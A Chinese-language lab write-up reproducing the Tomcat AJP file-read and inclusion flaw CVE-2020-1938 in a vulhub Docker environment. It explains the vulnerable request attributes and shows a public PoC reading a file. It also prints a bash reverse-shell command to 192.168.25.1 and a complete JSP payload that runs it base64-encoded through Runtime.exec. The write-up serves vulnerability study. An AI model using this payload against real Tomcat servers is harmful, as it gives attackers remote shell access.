CVE-2020-1938 tomcat文件包含 & 文件读取
0x00 前言
这个是上个月的tomcat的漏洞这里进行一下复现。直接使用vulhub里的docker进行复现
参考文章
https://paper.seebug.org/1142/
原理
tomcat 开启了http和AJP两种协议的处理,由于“javax.servlet.include.request_uri”,“javax.servlet.include.path_info”,“javax.servlet.include.servlet_path” 这三个参数可控,所以导致文件读取以及文件包含漏洞,当然内容也仅限制webapps/ROOT目录。
0x01 复现
1. 环境
使用vulhub进行环境的搭建
这里如果是之前下载的vulhub,可能没有最新的,从github上把docker-compose.yml文件dump下来,然后放在如下目录
目录:vulhub-master/tomcat/CVE-2020-1938
docker-compose ip -d
2.过程演示
扫描一下目标的端口,可以看到开放了8009,8080端口
首先访问一下目标站点的8080
然后使用poc脚本,这里使用的是CVE-2020-1938-Tomact-file_include-file_read-master
为了方便我们在webapps下创建一个文件。
进入docker image
docker exec -it 4d78f156f7b8 /bin/bash
移动到ROOT目录下创建一个文件
创建一个文件 1.txt
这里使用exp进行读取,读取成功
然后我们在ROOT目录下写一个文件,我这里选择本地写好,然后wget或者curl上去。
这里执行的是
bash -i >& /dev/tcp/192.168.25.1/63000 0>&1
在http://www.jackson-t.ca/runtime-exec-payloads.html网站进行一下转换
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjEvNjMwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
然后使用exp进行测试,成功反弹shell
3.解惑
起初对脚本中的asdf产生了疑问,最后看了原理之后,才发现,这里的asdf可以是任意字母只要Servlet中没有就可以,如果没有就会启动DefaultServlet。
如果是要进行文件包含的话,那么就要使用asdf.jsp这样就会走jspServlet。
- 点赞
- 收藏
- 分享
- 文章举报
- CVE-2020-1938:Apache Tomcat-AJP任意文件读取漏洞复现
- CVE-2020-1938 Apache Tomcat文件包含漏洞
- 使用SpringBoot开发第一个简单的文件上传web项目例子(使用的内置tomcat,没写IO,没有使用数据库,包含整合JSP)
- 导入csv文件时,如果最后一列没有数据,读取出来的集合比抬头字段少,和数据中包含","如何处理?
- tomcat容器下读取配置文件
- 利用Vulnhub复现漏洞 - mini_httpd任意文件读取漏洞(CVE-2018-18778)
- tomcat web 工程下配置文件读取的问题
- CVE-2020-5398:Spring Framework 反射型文件下载攻击警报
- Java web 项目读取src或者tomcat下class文件夹下的xml文件或者properties文件
- android 从tomcat读取文件出错:connect failed: ECONNREFUSED
- 编写一个程序,它打开一个文本文件,逐个字符地读取该文件,直到到达文件末尾,然后指出该文件中包含多少个字符
- 在C#中实现数据库的连接,查询,将查询结果读取返回到内存存储器中,并生成二维码,还有一个二维码生成demo 本文件里面包含二维码生成
- 数据库连接的两种实现方式(读取配置文件)——DBCP&C3P0;DBCP实现连接代码,C3P0实现连接代码——包含完整代码
- 通过tomcat读取文件资源
- Java web 项目读取src或者tomcat下class文件夹下的xml文件或者properties文件
- python 读取配置文件里面包含汉字的处理
- 从txt文件逐行读取数据到excel文件(包含POI的简单使用和excel文件的数据分列,出现次数统计)
- pyhton使用open函数读取包含中文路径文件大坑记
- Tomcat读取文件时找不到文件路径
- 【CTF题】使用文件包含漏洞读取网页代码